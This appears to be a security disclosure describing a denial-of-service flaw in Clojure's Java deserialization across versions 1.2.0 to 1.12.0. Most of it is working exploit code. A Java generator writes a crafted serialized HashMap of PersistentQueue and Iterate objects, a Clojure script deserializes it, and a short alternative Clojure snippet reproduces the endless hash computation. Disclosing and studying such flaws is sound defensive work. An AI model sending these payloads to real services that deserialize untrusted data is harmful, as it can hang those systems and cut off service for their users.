# Vulnerability Details - Clojure Denial of service attack by Deserialization ## Vulnerability Description Under org.clojure:clojur (1.2.0 - 1.12.0-alpha5), there exists a denial of service attack initiated through deserialization. By constructing appropriate objects, continuous hashcode calculations can be initiated. > `core$partial$fn__5920` is actually obtained by reading the jar file, and I am not very familiar with Clojure. > > The discovery of this vulnerability was made using a private tool, but due to a lack of knowledge in Clojure. ## Verification Demonstration ```bash gtimeout 30s /Library/Java/JavaVirtualMachines/zulu-11.jdk/Contents/Home/bin/java -classpath /Users/fe1w0/.m2/repository/org/clojure/clojure/1.12.0-alpha5/clojure-1.12.0-alpha5.jar:/Users/fe1w0/.m2/repository/org/clojure/spec.alpha/0.3.218/spec.alpha-0.3.218.jar:/Users/fe1w0/.m2/repository/org/clojure/core.specs.alpha/0.2.62/core.specs.alpha-0.2.62.jar clojure.main /Users/fe1w0/Project/Poc/PocALL/src/main/clojure/poc/clojure/dos.clj ``` ### Vulnerability demo - triple speed ![Poc](https://hackmd.io/_uploads/S1PtMGsdT.gif) ## Verification Script Serialization Data Generation Script ```java package poc.clojure.dos; import clojure.core$gen_class; import clojure.core$partial$fn__5920; import clojure.lang.ArraySeq; import clojure.lang.Iterate; import clojure.lang.PersistentQueue; import clojure.lang.PersistentVector; import org.apache.commons.lang3.reflect.FieldUtils; import java.io.*; import java.util.HashMap; /** * @author fe1w0 * @date 2024/1/9 23:45 * @Project PocALL */ public class GenData { public static void main(String[] args) throws IllegalAccessException { HashMap<PersistentQueue, Object> map = new HashMap<>(); PersistentQueue model = PersistentQueue.EMPTY; FieldUtils.writeField(model, "r", PersistentVector.EMPTY, true); FieldUtils.writeField(model, "_hash", 1, true); HashMap<String, String> gen_map = new HashMap<>(); gen_map.put("xyz.xzaslxr", "fe1w0"); core$partial$fn__5920 proxy = new core$partial$fn__5920(new core$gen_class(), gen_map); Iterate iterate = (Iterate) Iterate.create(proxy, new HashMap<>()); Iterate control_first = iterate; FieldUtils.writeField(model, "f", ArraySeq.create(control_first), true); map.put(model, null); FieldUtils.writeField(model, "_hash", 0, true); try { FileOutputStream fileOut = new FileOutputStream("output/dos-clojure.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(map); out.close(); fileOut.close(); System.out.println("Serialized data is saved in output/dos-clojure.ser"); } catch (IOException i) { i.printStackTrace(); } } } ``` Clojure DeSerialization Script ``` (ns poc.clojure.dos) (defn deserialize-obj [filename] (with-open [inp (-> (java.io.File. filename) java.io.FileInputStream. java.io.ObjectInputStream.)] (.readObject inp))) (deserialize-obj "/Users/fe1w0/Project/Poc/PocALL/output/dos-clojure.ser") ``` ### Other Way This way will affect versions from 1.2.0 - 1.12.0. >Links(Taking from Eugene Pakhomov): > - https://ask.clojure.org/index.php/13617/security-problems-command-execution-clojure-clojure-alpha5?show=13628#c13628 ```clojure (ns poc.clojure.ask) (let [out (java.io.ByteArrayOutputStream.) obj-out (java.io.ObjectOutputStream. out) i (iterate identity nil)] (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash")) (.setAccessible true) (.set i (int 1))) (.writeObject obj-out (java.util.HashMap. {i nil})) (println "Writing is done. Reading...") (let [in (java.io.ByteArrayInputStream. (.toByteArray out)) obj-in (java.io.ObjectInputStream. in)] (.readObject obj-in) (println "Will never be printed."))) ```